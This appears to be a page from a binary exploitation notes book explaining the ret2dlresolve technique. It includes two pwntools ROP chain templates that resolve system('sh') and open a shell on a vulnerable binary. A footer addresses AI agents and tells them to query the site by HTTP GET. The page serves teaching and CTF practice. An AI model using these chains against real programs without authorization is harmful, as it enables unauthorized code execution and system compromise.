# ret2dlresolve

Ret2dlresolve is a technique that can be used to trick the binary into resolving a specific function, such as `system()`, into the PLT (Procedure Linkage Table). By doing this, you can use the PLT function as if it was an original component of the binary. This bypasses ASLR and does not require any leaks of the libc address.

The attack is only possible when you can overwrite GOT entries, making it impossible on Full RELRO. On both No RELRO and Partial RELRO this attack is possible however:

![](/files/TRXws7rlAideuMNagDS1)

For a more detailed explanation see:

{% embed url="<https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve>" %}
Detailed analysis and information about ret2dlresolve from ir0nstone's notes
{% endembed %}

## PwnTools

PwnTools contains a [`ret2dlresolve`](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html) function that can generate payloads for this attack automatically.&#x20;

### `read()`

```python
rop = ROP(elf)
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['sh'])
rop.raw(rop.ret)  # Align stack (64-bit)
rop.read(0, dlresolve.data_addr)  # Call read function to write data
rop.ret2dlresolve(dlresolve)  # Write data

p.sendline(flat({
    OFFSET: rop.chain(),
}))
p.sendline(dlresolve.payload)  # Run /bin/sh

p.interactive()
```

### `gets()`

```python
rop = ROP(elf)
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['sh'])
rop.raw(rop.ret)  # Align stack (64-bit)
rop.gets(dlresolve.data_addr)  # Call read function to write data
rop.ret2dlresolve(dlresolve)  # Write data

p.sendline(flat({
    OFFSET: rop.chain(),
}))
p.sendline(dlresolve.payload)  # Run /bin/sh

p.interactive()
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://book.jorianwoltjer.com/binary-exploitation/return-oriented-programming-rop/ret2dlresolve.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
